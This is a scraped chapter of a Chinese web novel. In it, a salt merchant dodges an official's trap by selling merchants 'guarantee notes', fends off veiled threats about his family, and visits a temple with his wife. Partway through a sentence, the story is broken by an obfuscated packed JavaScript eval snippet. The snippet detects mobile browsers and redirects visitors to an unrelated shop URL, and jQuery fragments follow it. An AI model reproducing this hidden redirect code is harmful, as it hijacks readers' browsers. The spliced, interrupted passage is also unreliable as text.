默认冷灰
24号文字
方正启体

41. 狡兔

作者:途奈本书字数:K更新时间:
    翌日午时,霁园宾客盈门,瑞草厅中觥筹交错,看似一派和乐。


    李清白端坐席间,却是食不知味,心神不属。


    酒过三巡,菜过五味,谢昭从容起身,朗笑道:“承蒙诸位赏光,今日府上还备了不少好东西,请诸位移步偏厅一观。”


    能是什么好东西!


    李清白提心在口。


    她几乎能预见到,他们得意忘形的那一刻,父亲和唐琰的手下便会破门而入,将人当场拿下。


    她犹豫再三,拦住谢昭去路。


    “那个……夫君……我身体不太舒服……”


    谢昭摸摸她额头:“也没发烫呀。”


    又关切道:“瞧你方才进得不香,可是胃口不好?我让他们做些开胃健脾的小点来,稍后再请个大夫来府上瞧瞧。”


    “我……你陪陪我就好。”


    谢昭嗔笑:“你呀,何时这样黏人了。我还有些事,晚些再好好陪你。”


    “阿昭!”


    她眼睁睁看着谢昭和那些商人远走,想要追随他们的步伐,却被夏荫死死抓住。


    “阿白!好不容易才逮着这样的机会,你偏要让咱们功亏一篑吗?”


    他恨铁不成钢道:“别忘了,你可是你爹的女儿。也别忘了,你当初是为什么嫁给他!”


    说罢,快步去往偏厅准备传信。


    当李清白失魂落魄地赶到偏厅,迎接她的却并不是想象中骇人的阵仗,而是夏荫气到扭曲的脸。


    他抖着右手,咬牙切齿地将一张印制精美的纸笺递给她。


    凝眸望去,抬头赫然写着两个大字——“保票”。


    她睁大眼睛。


    这并非她预想中的盐引,而是一种她从未见过的单据。


    上面清晰地列着不同等级的条款:


    丙等:预付纹银三百两,一年期内若支盐不足一千引,按缺额市价双倍赔付。


    乙等:预付纹银五百两,一年期内所支盐引售卖,利润率若不足五成(限两千引以内),补足缺额部分利润。


    甲等:预付纹银一千两,一年期内若因天灾、匪患等意外于行商途中身故,赔付家属纹银两千两。


    这……


    李清白愕然抬头,看向屹立中央、气定神闲的谢昭。


    此时,席间已有人按捺不住高声道:“谢爷,您这‘保票’……闻所未闻啊!这如何能作数?”


    谢昭目光扫过全场,声音清朗,带着一种令人信服的沉稳:“诸位!谢某在此,愿以自身信誉与全部身家,担保此票有效!”


    “盐业风险,想必诸位比我更清楚。守支之苦,运途之险,市价之跌宕,哪一样不让人提心吊胆?谢某此举,无非是想与诸位共担风险,让大家能更安心行商。”


    “况且,”他话锋一转,唇角带着一丝洞悉世情的笑意,“当前朝廷律例,可未曾有任何一条,明令禁止此类‘保票’。谢某行事,向来恪守本分,绝不触及律法红条。”


    见众人神色松动,他适时又道:“此票数量有限,只为答谢今日莅临的诸位好友,先到先得。”


    话音一落,方才还持观望态度的盐商们顿时坐不住了。


    这等于是谢昭给自家的盐业投资兜底,稳赚不赔的买卖!


    当下,他们也顾不得许多,纷纷唤来自家随从,急切吩咐速回府中取银。


    就连那几个混在其中的“内应”,此刻也生怕落后,早忘了自己是来干什么的。


    看着眼前这争先恐后的场面,看着一箱箱白银被明目张胆地抬入霁园,李清白的心起起落落。


    一方面,谢昭安然度过此劫,她感到一阵虚脱般的轻松;另一方面,她由衷佩服谢昭的手段,竟能在这等围剿之下,另辟蹊径,化险为夷,甚至大赚一笔。


    不远处,一座临街雅间的窗口,唐琰负手而立,将霁园门前车水马龙、白银入库的景象尽收眼底。


    他指间同样捏着一张刚刚设法取得的“保票”,脸色阴沉得能落下雨来。


    他原以为布下天罗地网,只待谢昭踏入陷阱,人赃并获。


    却万万没想到,对方竟轻描淡写地抛出了这么一个闻所未闻的“保票”,不仅完美规避了所有律法风险,还反过来利用他们的围剿之势,成功筹集了大量银钱,更在盐商中进一步树立了威信。


    此前真是大大低估了谢昭。


    此人绝非寻常唯利是图的盐枭,其心思之巧,胆魄之足,对盐政弊端和商人心理把握之精准,远超他的预料。


    自己虽身负皇命,锐气正盛,但在具体盐务之上,同这些积年巨贾斗法,经验还远远不足。


    硬碰硬,恐怕一时难以奏效。


    他需要冷静下来,找到新的、更致命的突破口。


    ……


    翌日,唐琰登门拜访,谢昭于霜华堂内设宴相待。


    一番推杯换盏后,唐琰假意盛赞:“听闻谢爷以自家信誉作保,向盐商们发行保票,既帮他们分担了风险,又保障了盐业运转,实在令人佩服啊。”


    谢昭保持着得体的微笑:“唐大人真是消息灵通啊。不过是些商贾间互帮互助的小把戏,上不得台面。”


    “谢爷过谦了。”唐琰指尖轻叩桌面,面露沉吟之色,“只是这保票虽好,风险却也集中到了谢爷一人身上。唐某粗略估算,昨日所售保票,若真遇上大灾之年,兑付之责恐逾十万两之巨。谢爷可曾想过,万一……”


    “唐大人的担忧,谢某心领了。”谢昭从容不迫地为他斟了一杯酒,“风险几何,如何兑付,谢某心中自有筹算。商人重诺,既立此约,便不会让任何一位信任谢某的商户受损。”


    “谢爷一诺千金,唐某佩服。"唐琰顺势将话题一转,“说来,谢爷这般殚精竭虑,想必也是为了给令郎知雨铺就一条坦途。只是……”


    他轻叹一声,目光诚恳:“商海沉浮,世事难料。唐某冒昧问一句,若真有万一,谢爷可曾为知雨想过退路?这孩子聪慧伶俐,若因商事牵连,‘罪商之子’的名声,怕是会跟着他一辈子。”


    罪商之子……


    谢昭心中蔑笑,眼前闪过那个雪夜里从姚府废墟中抱出的婴孩。


    北滨首富姚年,家族世代商粮,当年是何等风光。只因不肯向许灵阶行贿,便落得满门覆灭,欲加之罪,又何患无辞?


    这姚家的最后一点血脉,本就是他硬生生保下来的。与生命相比,声名又算得了什么。


    他敛起眼底波澜,淡淡道:“有劳大人挂心。谢某行事自有分寸,断不会连累家小。”


    唐琰见他油盐不进,转而提起另一桩事:“说起来,唐某今早路过茶肆,听闻坊间议论,说尊夫人与谢爷鹣鲽情深,何其恩爱,羡煞旁人。当时唐某就在想……”


    他故意拖长语调:“常在河边走,哪能不湿鞋?若来日谢爷行差踏错,幼子尚且无辜,不知尊夫人可会受牵连?”


    谢昭眸色骤冷,手中银箸在瓷盘上碰出清脆声响。


    唐琰见状,心下明了,起身告辞:“多谢谢爷款待。唐某还要去运司衙门议事,改日再叙。”


    行至廊下,与候在远处的夏荫交换了个意味深长的眼神。


    待唐琰离去,谢昭在厅中静立片刻,转身便往东厢房去。推门便见李清白独坐窗前,眼角犹带泪痕。


    “这是怎么了?还不舒服吗?”他坐到她身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16581142|181932||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    边擦泪。


    李清白紧紧抱住他:“阿昭,唐琰唐大人来……和你说了些什么?”


    谢昭温声宽慰:“没什么,过来吃顿便饭而已,已经好生送了客。”


    “可我担心你……很担心,很担心你……”


    “莫要担心。我与运司同气连枝,金一丰稳坐钓鱼台,许灵阶更是无可撼动的参天大树。区区一个巡盐御史,不必放他在心上。”


    见她泪珠滚落,他取出帕子轻柔擦拭:“出去走走可好?”


    ……


    一路上,二人都没怎么说话,只沿着护城河缓步而行。


    初冬的风带着料峭寒意,吹散河面层层涟漪。李清白偶尔逗弄两声从岸边钻出来的鹅鸭,谢昭便温和地应和一声,气氛宁静却各怀心事。


    风越刮越烈,谢昭的步子不自觉地慢了下来,眉心几不可察地蹙了一下。


    李清白想到他腿脚的旧疾,心中隐忧不已,挽住他手臂道:“风大了,我们回去吧?”


    谢昭却停下脚步,望向不远处。那里隐约传来沉浑的钟磬声。


    “前面不远就是大悯寺了,”他目光飘远,“要不要进去看看?”


    “也好。”


    大悯寺隐于城北,是座清幽灵性的千年古刹。


    二人踏入寺内,钟声荡过庭院,惊起檐角数只灰鸽。


    他们行了数十步,便遇上一对年轻夫妻,满面喜色地从殿内出来。


    见到二人,那妇人便热情搭话:“二位也是来求子的吗?多拜拜这里的送子观音,可灵验了!”


    她特意指了指大雄宝殿侧后方的一座偏殿。


    李清白脸颊微热,一时不知如何作答。


    谢昭揣摩着她的表情,讶异于她竟真的有此想法,更陷入深深的矛盾与忧虑。


    他何尝不想与她拥有一个孩子,一个流淌着他们共同血脉的骨肉?


    可一想到自身如履薄冰的处境,想到坎坷未卜的前路,他如何敢让她,让一个无辜的孩子,陷入那般险境?


    无数个夜晚,他都是靠着极强的自制力,才压下那份源自本能的渴望。如今这等情势,更万万不能让她受连坐之苦。


    因而他只浅浅敷衍了两句,未置可否。


    他们先在天王殿参拜了威严的弥勒佛与韦陀菩萨,随后步入庄严肃穆的大雄宝殿。


    二人在签筒前驻足,各自求了一支签。


    谢昭拿起自己那支,粗略读完签文,面不改色道:“是个好签。”


    李清白也努力让自己的声音听起来轻快:“我的也是好签。”


    谢昭装作无事发生,看她在佛前虔诚上香。


    却不知她一愿自己平安顺遂、无灾无难,二愿奸佞伏法、世道清明。


    回府的路上,天色愈发阴沉。一阵冷风吹来,谢昭见她缩了缩肩膀,便伸手将她轻轻揽入怀中,下巴抵着她的发顶,低声道:“好了,不是说好不担心了吗?”


    他越是这般故作轻松,李清白心中的恐惧、愧疚与不安就越是汹涌,


    她眼泪决堤而出:“阿昭,我害怕……你最近……别到处跑了,好不好?就待在家里……”


    谢昭被她这突如其来的泪水弄得心头一紧,连忙收拢手臂,将她更深地拥住,一遍遍轻抚她的后背,声音是前所未有的温柔:“好,好,都听你的。我最近哪儿都不去,就在家好好陪着你,不让你担心了,好不好?别哭了……”


    他轻声哄着,直到她的哭声渐渐止息,变成细微的抽噎。


    他低下头,看着她泪眼朦胧、鼻尖微红的模样,心中最柔软的地方被狠狠触动,情不自禁地俯下身,温热的唇轻轻覆上她微凉的唇瓣。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)